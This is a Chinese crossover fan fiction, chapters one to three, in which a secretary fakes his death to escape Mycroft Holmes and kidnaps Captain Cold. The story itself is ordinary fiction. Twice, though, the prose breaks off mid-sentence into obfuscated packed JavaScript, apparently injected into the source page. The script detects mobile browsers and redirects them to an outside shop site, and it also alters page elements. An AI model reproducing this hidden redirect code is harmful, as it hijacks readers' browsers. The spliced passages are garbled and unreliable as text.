《[综英美]今天秘书辞职成功了吗》 1. 第 1 章 “……据悉,这场荒谬的绑架发生在今天下午,本市最大的珠宝店中。” “彼时,以抢劫银行、大规模盗窃而臭名昭著的寒冰队长,正率领无赖帮一同抢劫一家珠宝店。然而抢劫进行到一半,珠宝店中的无赖帮成员却突然冲了出来,惊慌大喊‘绑架!有绑架犯绑走了老大’……” 狭窄杂乱的典当店中没有灯光,只有一台老式壁挂电视闪着雪花,瓮声瓮气地播报着新闻。 兰泽尔赤.裸着身体,斜倚在玻璃柜台边,右手弹掷把玩着一枚银币,饶有兴致地偏头望着电视,一也点不在意自己眼下令人尴尬的状态。 昏暗的光线沿着他肌肉起伏的轮廓剪出线条,透出一股叫人莫名寒毛直竖的危险感。仿佛展露在眼前的不是情涩性感的裸.体,而是一丛缓慢旋转着的鲨鱼齿,叫人生出一种来自生理本能的强烈不适。 “叮……”银币在空中反射出刺目的白光,在翻转中坠落。 “谁会绑架一个超级反派?”电视里,极度不解的美女主持人以一种青春校园时期,谈及班里人人嫌弃的奇葩书呆子的语气说。 兰泽尔看也不看地接住银币,继续斜倚着柜台,津津有味地看新闻: “难道这个人不畏惧来自其他超级反派的报复?” “我是说——超反之间当然不可能有超级英雄那样的友谊,乐意为自己的同行出头。但当众绑架一名有头有脸的超反?这行为也许会被视为对超反群体的挑衅……” 后屋忽然传来一阵窸窣声。 兰泽尔颇有点恋恋不舍地收回看热闹的目光,稳稳接过老板抛向他的一团旧衣服:“你是不是忘了什么?我还需要一套假.证件。” “都给你拿了,就包在这团旧衣服里。”老板走回柜台前,撑着台面仔细打量兰泽尔,仿佛想从兰泽尔身上看出点对他有用的情报来。 “听着,小子——你典当的那套西装行头的确值不少钱,如果不是衣摆被烧焦了,我还能给出更好的价格。问题是……”老板意味深长地拉长了尾音,“我能安全把这套行头脱手吗?” 兰泽尔根本没理老板,只管套衣服,猎豹脊背般涌动的肌肉眨眼覆盖在布料下。 伸手拿裤子时,他仰头一昂:“啊?你说什么?” 很显然,他听老板的话都没有听电视里的八卦认真。 “……”老板差点被气了个仰倒,眼瞅着兰泽尔又垂回头开始蹬灰色运动裤,只能再次加重语气,“我是在问你——你是从哪个麻烦里逃出来?” “嘿!别无视我,你穿着一身高档西装闯进我店里,满身都是焦灰,明显刚从哪个火场或者爆炸现场跑出来。而且一进门你就开始脱衣服,叫我处理掉你身上这套行头,又要我给你一套追查不到的□□——你屁股后面明显跟着一团大麻烦,我怎么知道这团麻烦会不会砸到我头上?你不认为你欠我一句说明——” “哐当!” 柜台上的东西骤然被扫落一地。 兰泽尔灰豹似的单手撑桌,侧越过台,落地的瞬间抬手,一把扣住老板的后颈,狠狠撞上台面,另一手向下一拧老板的右手,一只老式黑莓手机顿时在骨头的咯噔声和老板的痛叫声中咔哒落地。 “我不欠你·任何说明。”兰泽尔压着痛苦喘气的老板,在耳边低语。 他微微起身,扣着老板后颈的左手松开,摸索向滑落在地的手机:“看看你都发了些什么……‘查查英国哪个组织最近没了副手’?你怎么知道我是从英国来的?” 被压在台面上的老板低哑地哼笑,带着浓烈的嘲弄:“L.T.House手工西装,只对英国佬中的英国佬开放……你以为这西装为什么估价这么高?不管你之前为谁卖命,你的老板把你养的很好啊……你做了什么让你老板这么宠爱你,又做了什么以至于不得不从这么青睐你的老板身边逃跑?不管是什么,我都劝你赶紧跑,信息已经发出去了,你上司很快就会追过来——” “哦我太了解那家伙了,他不会这么快就出发,尤其是昨晚我们刚打完一架。”兰泽尔丝毫没产生任何危机感,只直勾勾盯着摆满名贵手表的柜台,松手将典当行老板推开后“哗啦”一声拉开柜台窗口,在老板“混账!竟要当面抢劫”的惊怒眼神中使劲抻了抻胳膊,掏出倒霉老板存在柜台角落,准备充当晚餐的黑森林切片蛋糕。 老板:“……” 咋呢,到你们英国佬喝下午茶的时间了是吗? 兰泽尔在老板敢怒不敢言的瞪视中埋下头,金毛狗似的啃着左手端着的蛋糕,右手试着系了一下运动裤的腰带。感觉束缚得慌,遂又相当不在意形象地又扯开了,抬手捞起柜台上的证件:“总之,那套西装是你的了,想怎么处置都随意。我们的交易结束,拜!” 丝毫不在意形象地一边啃得满嘴奶油,一边将厚厚一沓证件硬塞进运动裤口袋,兰泽尔愉悦地哼着自由的小曲,转身越过刚进店时就被他干趴下的守卫,踏出店面。 老板打又打不过,只能躲在柜台后无能狂怒:“敢在黑街闹事,你早晚会被清道夫找上门的!即使没有清道夫,你这瞻前不顾后的疯子早晚也会自取灭亡!” “谢谢关心,但我可不打算为你的免费心理咨询付钱。”兰泽尔头也不回地抬手摆了摆,走进鱼龙混杂的中心城黑街。 他完全没把老板的话放在心上,说实话活了这么多年,也很少能有什么人或事真的走进他心里。大多数时候,他和世界之间都像隔着一层磨砂玻璃,就连受伤时的痛感都是钝闷的,兰泽尔承认这也许是会导致他在某些时候比正常人更疯一点,但那怎么了?他高兴! 三下五除二炫完蛋糕,兰泽尔沿途又买了三份汉堡薯条套餐、两只冰淇淋。走在路上一不小心吃光了,他只能很不情愿——兰泽尔发誓,他绝没有路过美食摊又被香味勾得倒退回去——地又去买了两份煎炸得油亮酥脆的饺子。 一路逛街似的晃荡进一条堆满废弃机械零件的小巷,他在口袋里摸索了半天,才找到房东给的老旧钥匙,打开与其说是租房,不如说是废弃仓库的大门:“——饿了吗?” 兰泽尔的声音在空旷的仓库里回荡。 “你猜怎么着!我刚刚出去,看见了我俩的新闻。虽然很遗憾我没能上镜,但他们放了一张你的通缉照片在屏幕上。朋友,我得说,你长着一张漂亮甜心的脸。” “唔!唔!!!”仓库中央,一名短发男人被绑在座椅上奋力挣扎,绿眼睛瞪视着兰泽尔,发出愤怒的声音。 如果刚刚那位美女主持人在这儿,就会错愕地发现此人正是中心城著名的超级反派,寒冷队长。 兰泽尔丝毫没在意寒冷队长的挣扎,他甚至有点享受于欣赏对方挣扎的模样。 揣着两盒热腾腾的煎饺在寒冷队长面前蹲下,兰泽尔抬手尽量温柔、但说实话也没温柔到哪去地撕开对方脸上的胶布:“想吃晚饭吗?” “……”寒冷队长粗喘了几口气,微微泛红的眼睛狠狠刮向兰泽尔,沙哑着声音咬牙切齿,“你到底·想做什么?” ——与此同时,英国伦敦。 MI5[注1]的作战指挥室内人头攒动。 现场分析人员不断在大屏幕上回放着一辆奔驰车轰然爆炸的画面,将近二十来人组成的法医小队围着指挥室中央横呈的焦尸反复查看,一切只是因为他们的上司拒绝接受自己的私人秘书死于车祸的事实。 “砰!” 作战指挥室的大门突然被人粗暴推开,麦考夫·福尔摩斯裹挟着潮湿的气息,浑身透湿地从门外大步走进,雨水顺着考究昂贵的西装衣摆坠落,在冰冷的黑砖地上砸得粉碎。 “先生,福尔摩斯先生!”因为兰泽尔的意外死亡,不得不从特工重新换回老本行的秘书小姐一手抱着一沓新鲜出炉的报告书,另一手抓着一把黑伞匆匆追进来,“您的伞!您忘——” “检测结果是什么?”麦考夫·福尔摩斯打断了暂用名为安茜娅的秘书小姐的话,带着几分往日不曾有的粗鲁。 “……检测报告,就在我手上。”安茜娅小心斟酌地说,“我从去您宅邸接您,到送您来MI5,手上一直抱着它们。” 很奇怪,一贯敏锐的福尔摩斯先生居然没能在第一时间就发现这点。安茜娅觉得这都不是分析能力的事了,任何长眼睛的人都不可能错过这么一大沓文书,但她并不敢细问,尤其是在当下: “所有的检测结果都没有问题。不论重复多少次,兰泽尔驾驶的那辆奔驰车的确爆炸了,从车上抬下来的焦尸DNA的确与兰泽尔本人吻合,监控也没有任何被修改的痕迹——” 安茜娅顿了一下,目光扫过福尔摩斯先生歪斜的领结、有些褶皱的衬衫前襟。 所有的细节都证明这位一贯讲究体面的上司在接到消息后有多匆忙,大约随手从衣柜里掏了几件衣服囫囵套上,就匆匆出了门。 这让安茜娅难得有些犹豫,琢磨自己应不应该委婉一点,或者出言安慰对方。 毕竟虽然谁都搞不清楚兰泽尔是从哪突然冒出来的,但谁都目睹或者听闻过福尔摩斯先生在六个月前执意将兰泽尔加入MI5特工名单,每天带在身边、就差系在腰带上的模样。 她小心打量着福尔摩斯先生的神色,试图从对方的神情中确认自己下一步该怎么做。然而,下一秒,她却在单向玻璃的浅茶灰色反光中,看见福尔摩斯先生忽然微笑起来,几不可查的放松在那张总掺带真情实意的脸上一掠而过,尚未来得及冒头喘息,就被更加冰冷愤怒的情绪淹没。 他看似重新有了闲心,整理了一下领结和前襟,只是手劲有些大,扯得第一下将领结带得更偏了,第二次才捋正。 那双灰蓝色的眸子倒映着白炽灯的冷光,像漂着浮冰的冰河:“你觉得所有的结果都没有问题?我的观点恰恰相反——” 麦考夫·福尔摩斯站在指挥室的最高处,隔着玻璃环视了一圈底下的混乱:“我觉得这些证据,每一处地方都有问题。” “奔驰车?”他微笑着说,“兰泽尔一向不喜欢这种中规中矩的商务车。” “给他挑选车辆的机会,他一定会选更张扬的跑车,从无例外。所以为什么偏偏在今天——偏偏在发生车祸的这一天,他选择了车库里唯一一辆自己最不喜欢的车?” ——因为兰泽尔早就知道爆炸会发生。 所以他特意选择了最不心疼的车。 “还有焦尸的DNA。”麦考夫的神情让安茜娅眼观鼻鼻观心地装哑巴。 “还记得半个月前,兰泽尔从你手里接过去的那个任务吗?替我们卧底的特工修改DNA记录。” “如果让情报部的人去追查半个月前的修改记录,查到兰泽尔曾趁机编纂过自己的DNA记录,我不会感到任何意外。” “……”安茜娅微微一愣,下意识地抬头。 她还真没考虑过“也许动手脚的是当事人自己”这种可能,毕竟兰泽尔是福尔摩斯先生带进MI5的,她下意识地不怀疑兰泽尔的立场。哪怕之前兰泽尔的确有递交过辞呈,但最多她也就是想想是不是小情侣闹矛盾。 在此基础上考虑车祸的动机——那福尔摩斯先生就算再难相处,也不至于夸张到让兰泽尔宁可折腾这么大一通,就为了离开福尔摩斯先生吧?情侣吵架至于发展到这一步? ……至于吗? 麦考夫·福尔摩斯的拟人事迹有口皆碑,安茜娅分析到一半,自己也开始不确信了。 她辛苦忍住可能让自己丢失牙医保险的询问,沿着麦考夫的思路捋了捋,紧跟着意识到第三个疑点:“等等……车祸发生的地点是俄克拉荷马州边郊,那里不像伦敦到处都是监控,有大片的监控盲点,怎么车祸就能这么恰巧,发生在有监控的路段,而且监控恰好覆盖了车祸的全程?” “谁知道呢,”麦考夫语气轻柔地嘲讽,“也许有人就是很乐于在镜头前展示自己。如果我们把这段监控录成光碟,放上ebay,监控的主人公说不准会很乐意买下它收做纪念,一天24小时放在电视机上反复欣赏。” 他已经不在意底下的特工能不能研究出个所以然了。低头看了眼自己领口丑兮兮的亮黄粉色波点领结,麦考夫动作停滞片刻——安茜娅以敏锐的动态视力捕捉到福尔摩斯先生的下颌几不可查地紧绷了一瞬,旋即仿若无事地扯下领结,大步走出指挥室: “去问情报部要这6个月以来兰泽尔所有的网络记录。” “他也许看起来不拘小节,但从不无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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麦考夫大步流星到一半,忽地又停住,跟在他身后,踩着高跟鞋疾追的秘书小姐差点撞在上司背上:“不。不要发布红色通缉令。” “先生?”秘书小姐还没见福尔摩斯先生在哪件事上如此摇摆不定过。 “他也许会杀死那些找上门的特工,甚至折磨他们。” 麦考夫这么说,但浮于表面的微笑下游弋的冰冷怒火如同危险的鲨鱼鳍,令安茜娅确认他改变主意的理由绝不止说出口的这一条: “发布绿色通缉令,让各国警方有情报立即共享,但不要随便行动。” “——我要亲自执行这次抓捕。” “是的,先……什么?”安茜娅几乎下意识地侧了一下耳,一句询问没过脑子就蹦了出来,“您什么?” 亲自去抓?谁亲自去?福尔摩斯先生? 天天宅在办公室里,就差把根扎在屋子里,天塌了都不乐意出外勤跑腿的福尔摩斯先生? 毫不夸张的说,安茜娅能立即跟上后续的问话,纯粹是多年工作养成的职业素养:“需要立即为您做出发准备吗?” “不。”活动了一下昨晚被兰泽尔扭伤的左肩,麦考夫很清楚自己的目标,和为了达成目标该做什么准备,“现在不行。联系皇家除魔——不。” 麦考夫提出一个方案,又迅速自己否决了。 安茜娅在麦考夫身边工作多年,能分辨出对方在否决后,又对自己下意识的否决感到懊恼,但他并不是一个会允许情绪耽搁宝贵时间的人,因此很快他便重新睁眼,灰蓝色的眼底只剩下冷静和不容置喙: “联系皇家海军。通知他们会有一名特殊人员需要接受为期半月的突击训练。” “是的,先生。”安茜娅习惯性地应和,“这位特殊人员是谁?” 麦考夫说:“我。” “……”秘书小姐摁手机的手指一个打滑。 她真的要打电话给英国皇家除魔协会了,福尔摩斯先生没被哪个巫婆悄悄塞了诅咒袋吧?! ——与此同时,美国中心城。 “阿——嚏!”巫婆·兰泽尔狠狠打了个喷嚏,揉了下鼻子后不以为意地耸耸肩站起身,“不管你信不信,我的计划里根本没有你。但谁让你不巧在错误的时间,出现在错误的地点,撞见了本不该被任何人撞见的事呢?我只能麻烦你跟着我走完接下来的计划了。” “……什么任何人不该撞见的事??什么计划?”寒冷队长难以理解,背在身后的手腕却悄悄用椅子支棱出来的铁钉切割着最后一截藕断丝连的绳索。 “哦!我做了一张表格,让我找找……”兰泽尔仿佛完全没察觉寒冷队长的小动作似的低头翻起口袋。下一秒,撩起长腿,一脚踩在椅侧。 坚硬冰冷的冷冻枪枪口抵住寒冷队长的下颚,兰泽尔俯身贴近,手上的力度迫使寒冷队长不得不扬起脖颈。 他近距离欣赏着寒冷队长脸上糅杂的愤怒、厌恶、隐忍等情绪,没持枪的手展开一张皱巴巴的字条,怼到寒冷队长鼻子前:“看,我的目标清单。” “真巧,我打算去偷一些东西,恰好又撞上你这么一位盗窃经验丰富的前辈……怎么样?你对我们接下来的计划有什么好建议么?” “……”寒冷队长渐渐绷紧了下巴,在枪口轻佻地、不轻不重地抵撞下忍耐地慢慢垂下视线,目光顺着笔挺的鼻梁扫出去,瞥见清单的第一行用潦草不羁的字迹写着: 【超人——孤独堡垒】 第二行:【逆闪电——神速力】 第三行:【卢瑟——前额叶】 寒冷队长:“……” 寒冷队长:“…………” 他直接一路向下,视线落在最后一行上:【上帝——上帝】 寒冷队长:“……” 他张了张嘴,愣是没能问出“这个‘上帝——上帝’是什么意思?你想从上帝那儿把上帝本尊给偷回来还是怎么着”: “……你知道如果一个人想要自杀,他完全可以随便找个大厦,从楼顶跳下去的对吧?” “选一个。”兰泽尔充耳不闻。 “……什么??”寒冷队长完全没法理解。 兰泽尔语带鼓励:“选一个。从这么多目标里面。” “没关系,你可以慢慢思考……反正追兵不会那么快赶上来,我们不需要赶时间。随便先偷哪一个都可以——选个你感兴趣的。” 2. 第 2 章 仓库因对峙陷入安静。 兰泽尔和寒冷队长充斥着怒火的绿眼睛对视,片刻后用力嗅了一下煎饺的香味,在寒冷队长错愕的瞪视下低头,端起饭盒啃起饺子来: “干森莫?”他含糊不清地说,“你又不打算说话,我饿了吃点有森莫问题?” “……”寒冷队长被气得仰起头,闭眼了片刻才冷静下来,冷冷地看向兰泽尔,“别指望我会陪你演这场滑稽秀了,疯子。我不在乎你是死了全家,还是被上司炒了鱿鱼,想发疯找心理医生去唔!” 冷硬的枪口被粗暴地抵进口腔,金属磕碰在牙齿上发出轻响。 兰泽尔端着枪微微歪过头,仔细观察着寒冷队长吃痛皱眉的神情:“我在很努力地尝试向你表达友好呢……别给这事儿添加难度了。” “……”这**算什么友好?!寒冷队长尝到口中弥漫的血腥味,脸都气白了:“听着,我不知道你有什么目的,但我可以向你保证,在珠宝店里我根本没看到什么‘不该看见的东西’。” “我只知道我刚撬开保险库,你这个疯子就从里面突然窜出来,当头给了我一棍,你完全可以放心放我离开——” “我在敲晕你后,谷歌了一下你,你知道吗?”兰泽尔答非所问似的说。 他抬起枪口,随手往旁边满是灰尘的木桌上一丢,接着啃他心心念念的煎饺,含含混混道:“它嗦你很记仇……而且很聪明。” “没有冷冻枪前,你可以策划出完美的珠宝窃案、银行劫案;闪电侠横空出世后,你又凭自己的能力制造出了能应对神速力的绝对零度冷冻枪……” 最后一只煎饺哧溜完,兰泽尔拿纸巾擦擦嘴,重新蹲回到寒冷队长面前:“所以让我们假设一下,如果我真的放你走后会发生什么?” “首先,你很记仇。所以你绝对会想报复我,反反复复回忆我们的初遇。” “其次,你很聪明。所以你早晚会意识到自己遗漏了什么细节。” 兰泽尔仰头看着面覆寒霜的寒冷队长露出微笑:“你觉得我是有多单纯,会相信你的话,放你离开这儿?” “那你为什么不干脆杀死我?”寒冷队长问,试图寻找一线生机,“因为你需要我?因为谷歌我后,你发现我是个不错的合作伙——” “因为我现在心情棒极了!”兰泽尔被寒冷队长绞尽脑汁的样子逗乐了,“我不知道你能不能看得出来,但现在?即使有人指着我的鼻子骂,我都乐意送给他一个笑容。” “……”寒冷队长看着兰泽尔冲他毫不吝啬露出的秀出八颗白牙的笑容,被噎得顿了几秒才道,“那你为什么不直接放了我?” “你既然知道放了我会有什么后果,就应该更清楚留下我只会更糟,不会更好。因为我不可能帮助你,只会想尽办法逃走,甚至在背后捅刀。不管你想做什么,带一个拖油瓶——” “哦在我们启程前,我们会解决这个问题的,别担心。”兰泽尔轻松地将自己扔到仓库里唯一一张干净的长沙发上,两条大长腿往扶手上一搭,躺了没到几秒,手就闲不住地一只探进口袋,摸出银币把玩,另一只探到背后摸索电视遥控器,“在那之前,你到底想不想吃饭?如果你想,早点说,我还想追剧呢。” “……”寒冷队长少有的跟不上他人的思路,他大脑有点断片地微张着嘴,眨了几下眼睛,“你想怎么‘解决这个问题’?话说在前面,我不是那种乐意为了钱被践踏尊严的三流货色,你别想用钱让我心甘情愿帮你忙——” “用你手下的命呢?”躺在沙发上的兰泽尔接住银币,靠在扶手上的脑袋向后仰,看向寒冷队长。 “你看,失去你的管束,你的无赖帮能安分多久?三天?一周?半个月?” “他们要花多长时间才能为自己招惹上解决不掉的大麻烦?我赌不会太久。” “铃……”寒冷队长揣在裤子口袋里的手机冷不丁地震响,惊得本就神经紧绷的寒冷队长浑身一震。 “需要我帮你接电话吗?” 兰泽尔好心地询问,没得到回答也不气馁,长腿一抡就敏捷地坐起身,踩着欢快的脚步走到脸上写满“不需要,滚开”的寒冷队长身边。 手伸到口袋里掏手机时,他还吹了声不正经的口哨,考虑到自己还打算跟接下来的旅伴搞好关系,兰泽尔才很辛苦地吞回有关翘屁甜心的调侃:“来电提示写着……天气巫师?” 兰泽尔饶有兴致地一边叨叨一边接通电话:“你有考虑过派天气巫师去沙漠地区赚钱吗?没有?可惜。那感觉能赚不少钱,而且完全合法——哦我忘了对你们来说,也许不合法的赚钱才是工作的乐趣,对吧?完全能够理解。” “……”寒冷队长看着兰泽尔满脸“我懂你”的神情,如果不是手还被绑着,高低要实施一下暴力。 他忍耐地收回眼神,偏过头靠近兰泽尔递到他耳边的手机:“告诉我你们没有惹什么麻烦。我才离开不到一天——” 他发誓,如果只是离开半天,帮里就有蠢货惹上大麻烦,他绝不会再出手。是时候让这帮做事不受大脑控制的家伙得到一些教训了。 “什么?当然没有!”天气巫师倍感冒犯,“我们什么都没做,但你妹妹——她——老天,怎么说这个事儿呢……你知道她看对象的品味一直不怎么的。” “就在几天前,她新找的那个男朋友因为欠赌债,被债主敲晕绑走了。然后昨天,那个债主从她男朋友的口中得知了她作为金色滑翔者这个珠宝大盗的名头,就拿她男朋友威胁她,要求她替自己盗窃一颗帕拉伊巴宝石——” “等等,帕拉伊巴?哪颗帕拉伊巴??”寒冷队长难掩糟心的情绪,“别告诉我是范科家族带来中心城艺术馆展览的那颗帕拉伊巴,那可是属于意大利黑手党的珍宝!” 天气巫师:“嗯——” “……”寒冷队长感觉自己有点过呼吸到头晕了,“她去偷了??现在?” 看在上帝的份上!他才刚被人绑架!电视台说不准还反复重播着他被绑架的新闻呢!他妹就跑去救狗男人了?! “不……”天气巫师吞吞吐吐,显然事情比寒冷队长设想得还要糟糕,“她……已经被黑手党抓住了。” “黑手党的人刚用她的手机打来电话,说他们不需要道歉或者赔偿,他们会把金色滑翔者带回家族,按照他们的规矩处刑。” “热浪蹲在港口试图拦截,但晚了一步,他们……已经带着金色滑翔者离开了。” 天气巫师开始絮絮叨叨说帮里的臭皮匠们集思广益琢磨出的计划,寒冷队长头晕脑胀到一半,就见兰泽尔一手拿着手机,一手支棱出一根手指,像只一边观察铲屎官一边当面一点点把水杯推向桌边的邪恶猫咪,缓缓将手指伸向挂断键:“——等等!” 兰泽尔不等,还相当坏地特意冲着寒冷队长笑了两下,吧嗒一下按上挂断键:“我又不是你的管家,我是绑匪。而且这又不是什么大事,对吧?” “我知道你刚接电话时那个表情是什么意思——‘是时候让这群蠢货自食恶果一回了’,这不正是一个好机会?恰好能教育亲爱的帮众们,不要在没有你允许的前提上擅自行动——” “她是我的妹妹!”寒冷队长的低喝中掺杂着对妹妹的不满,但他能怎么办呢?血脉是无法斩断的,至少他做不到,“——好吧!不管你想让我替你做什么,我都会替你做。但我现在要去救她,给我松绑。” “……”兰泽尔没有动,只看着寒冷队长,慢慢绽开笑容,“如果我没有听错,你这是想和我做个交易?” “对,交易,随便你管这叫什么。”寒冷队长语气糟糕地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185135|197001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,“你不需要担心我毁约,我是个守诺的人,谁都知道这点——” “不不,别理解错了。我不担心你毁约。我不需要担心。” 兰泽尔从腿边拔.出一把水果刀,割开绳索,又在寒冷队长活动着手腕想站起身时伸手,指尖抵着寒冷队长的胸口,将人推回座位: “我只是很久……很久没跟人做过交易了,确实有点怀念。” 寒冷队长“你又想干什么”的注视中,兰泽尔弹起指尖的银币,接住后将它压上桌面。 他双指按着银币,推到寒冷队长面前:“来吧,把你的手指放上来。我说过我现在心情很好,所以我愿意让这笔交易对你来说更划算——我会帮你救回你的妹妹。” 兰泽尔在寒冷队长惊疑不定的注视中耸耸肩:“不能让我好不容易到手的劳动力还没劳动,就死在正式上工前,对吧?而且,”兰泽尔顿了一下,无所谓地说,“我的确得承认,我是有点需要你。” “我也许已经习惯身边有个人的感觉了……你可以做我接下来的旅伴。我当然更希望能跟你搞好关系,而不是每天睡觉还得在枕头下放把刀,对吧?” “……”寒冷队长看着直指着自己的冷冻枪枪口,只能不甘地暂且放下想逃的念头,修长的手指不情不愿地搭上明摆着有问题的银币,“如果这是你交朋友的办法,我敢打赌你没有朋友。你的上一个‘旅伴’是不是就因为这个跟你拆伙的?” 兰泽尔眨眨眼睛:“不。恰恰相反,他想睡我。” ——与此同时,英国皇家海军特训场。 “阿嚏!”麦考夫在猛烈的西风中半遮着脸,狠狠打了个喷嚏,原本用发蜡打理得一丝不苟的头发被风吹的凌乱不堪,碎发像细小的鞭子似的抽打在额头和侧脸上。 “福尔摩斯先生!” 嗒嗒作响的螺旋桨声中,佩戴着上将肩章的军官按着军帽,跳下离地两米高的直升飞机,大步走向麦考夫:“是什么让我有这个荣幸和您见面?” “我以为安茜娅已经提前跟你说过了。”麦考夫放弃在狂风中管理自己的形象,怀疑自己刚刚那个喷嚏是某个假死的混蛋在骂自己。 “是,是说过,”上将摘下帽子,露出花白的短发,挑剔的目光从麦考夫因长期伏案、略显松弛的腹部扫过,“我就是想听您亲自说一遍您的白日梦。” 麦考夫:“……” 上将的字典里显然没有“委婉”这个词:“看看您的肚子!看看您的腿!想让我在半个月内将你训练成特工——还不是预备特工,是优秀特工,您是怎么想的?我的年龄也许是快去见上帝了,但这不代表我能变成上帝,好吗?半个月……开什么玩笑……” “……”麦考夫耐着性子听完上将的低声咕哝,露出一个招牌的营业笑容,“我只是说可能需要占用您半个月的时间,但从没说过训练的时长只有半个月。” “您在说什么呢??”上将的脸都皱了起来,正想再冷嘲热讽几句,就听头顶又响起直升飞机的嗒嗒声。 他下意识地仰头看去,就见一架警用直升飞机缓缓靠近,飞机机舱门敞开着,一道穿着浅褐色风衣,蓄着金色短发的身影扶着机舱门,正毫无畏惧、饶有兴致地转着蓝眼睛往下望:“——这又是谁??” “约翰·康斯坦丁。”金发男人咬着烟,敏捷地跃下直升飞机,“别这么瞪着我,老先生。我也是被人硬拖来的。在此之前,我还躺在女巫喷香的被窝里……嗯,锻炼身体呢。” 虽然康斯坦丁说得很含蓄,但在场的成年人都听得懂他说的什么意思。上将连麦考夫都看不上眼,更别提又抽烟又作风随意的康斯坦丁:“他是来做什么的?!” 麦考夫安抚的语气中透着不容置喙:“帮忙把只有半个月的训练时间,延长到您认为合适的时间。” 3. 第 3 章 仿佛一瓢水浇进了油锅里,两个一身反骨的家伙瞬间激情开麦: 上将:“您在开玩笑吧!!这里是英国皇家海军特训基地,不是哪个酒吧后门挤满酒鬼、瘾君子的小巷!我绝不会允许这种毫无纪律意识的家伙踏足我的训练场!而且他能怎么把时间延长?!用哈利波特的魔法吗?!” 康斯坦丁双手揣在风衣口袋里,无所谓地耸耸肩,也不替自己辩解。不知道是不是巧合,他吹出的辛辣烟雾被狂风裹挟着,扑了上将一脸: “冷静点,老爷子。我本来也没打算同意这计划。酒店里还有个魔女等着我回去继续锻炼呢,你知道这年头能找到一个红头发白皮肤的魔女做拍档有多难吗?——哦我忘了。也许你的确不知道。毕竟你显然已经过了能燃起激情的岁数。” 上将:“你!” 西风卷着碎发抽打在面庞上,麦考夫满耳都是呼啸的风声和愚蠢的争吵。 有那么一秒,他站在草浪翻涌的停机场边,内心充满了回归办公室的渴望——但他不能。也不想。 愤怒或者更复杂的情绪推搡着他,令他比起回归舒适圈,拥抱宁静,更加迫切地想找到某个家伙:“保持风度,先生们。” “麦肯上将,这是命令,不是商量。康斯坦丁——那位红发魔女可没打算让你活着爬下她的床,我的特工们救了你一命。” “我知道。但那可是红发魔女啊。”康斯坦丁主打一个牡丹花下死,做鬼也风流,“——但说真的。” 康斯坦丁夹下唇间的烟,对麦考夫做了个“到旁边单聊”的手势。远离气到摸枪的上将后,他重新叼回烟,含糊地问:“为什么找我?” “如果你有任何魔法侧的麻烦,整个皇家除魔协会——那东西的‘学名’是什么来着?记录者组织英国分部?随便吧。总之,那里面的人都会很乐意排着队来舔你的皮鞋。” 麦考夫并不赞成康斯坦丁粗糙的言辞,但接触过记录者组织英国分部的人后,他又觉得康斯坦丁骂得太干净了:“我不信任他们。” “看见没?这就是问题所在。”康斯坦丁虚指了下麦考夫,“虽然英国的记录者们是一群傲慢、冷血、残暴的混账,但他们除魔的业务能力无可指摘,即使是我,有时候都会想潜进他们的基地偷点好东西出来,但你却说——‘我不信任他们’。” “你知道这意味着什么吗?”康斯坦丁的蓝眼睛越过烟雾凝视向麦考夫,“这意味着你的确遇上了非人类,但你并不想杀死它。” “所以你舍近求远,宁可找风评很差的我,也不乐意寻求英国记录者的帮助。” “毕竟所有接触过英国记录者的人都知道,这帮家伙对待非人类的态度只有一个,那就是杀光它们,哪怕站在他们面前的非人类是上帝派来的天使。” 麦考夫没有否认,只道:“知道这个对你来说很重要吗?” “以前不重要,但现在?是的,很重要。”康斯坦丁又瞥了眼站在不远处自己调理自己的上将,收回目光,压低声音,“你既然知道我,知道记录者组织,我不相信你没听说不久前发生的事故——” “在美国,有一对姓温彻斯特的兄弟打开了地狱大门,放出一大堆恶魔、凶鬼,甚至还有七宗罪!现在全世界各地的魔法侧人士都在应对这场灾难,包括我——” “你在忙着和女巫锻炼。”麦考夫指出。 康斯坦丁装作没听见:“——我们都忙得焦头烂额!所以我不在乎你想找、但又不想杀的非人类是什么,我还有真正重要的工作要做——” 麦考夫:“和红发女巫锻炼?” “……比如追踪七宗罪的下落。”康斯坦丁意志坚定地说完,“你应该知道七宗罪是什么吧?最新消息,他们正在计划把路西法也从地狱里捞出来,一起干票大的。这种情形下,你还指望我陪你蹲在这破地方喝半个月的西北风?” 麦考夫其实挺想说第三遍“红发,女巫,锻炼”的,但张嘴的一瞬,他又觉得索然无味,毕竟和康斯坦丁斗嘴并不是他此行的目的:“——是的。” “……”康斯坦丁仔细打量了一下麦考夫,“那你最好有个好的理由。” “当然。”麦考夫早准备过这个问题的答案,“我想找的这个非人类,他也许是个神明。24年前——” 麦考夫不自觉地顿住了。 “24年”这个字眼的重量比他预料得更沉。 他一瞬间恍惚了一下,但在任何异常流露出来前,他迅速压住了所有情绪:“24年前,我和温彻斯特兄弟——没错,就是你刚刚说的那对美国的兄弟,一起封印了他。但——” “等等等等,”康斯坦丁也许没注意到麦考夫有些异常的反应,也许注意到了,但他并不在乎。他对别人的心理没有兴趣,更别提是同性:“24年前?” “那时候你多大?温彻斯特兄弟多大?今年那对兄弟里的年长者也不过才30岁,那个年级小点儿的才26!24年前……温彻斯特弟弟会说话了吗?你是怎么跟一个6岁、一个2岁的孩子封印神明的?” 好奇心害死猫,也能害死康斯坦丁。原本康斯坦丁都打定主意不趟这趟浑水,但这会儿他是真有点挠心挠肺的想知道怎么回事了。 ——人与人之间的差距真有这么大吗?他六七岁的时候还在挨酒鬼父亲的打呢! 麦考夫却故意止住了话头,只好整以暇地微笑着看向康斯坦丁:“所以,你会帮我吗?” “……”康斯坦丁陷入了激烈的内心斗争。好奇心和红发女巫在选择的天秤两边疯狂上下。 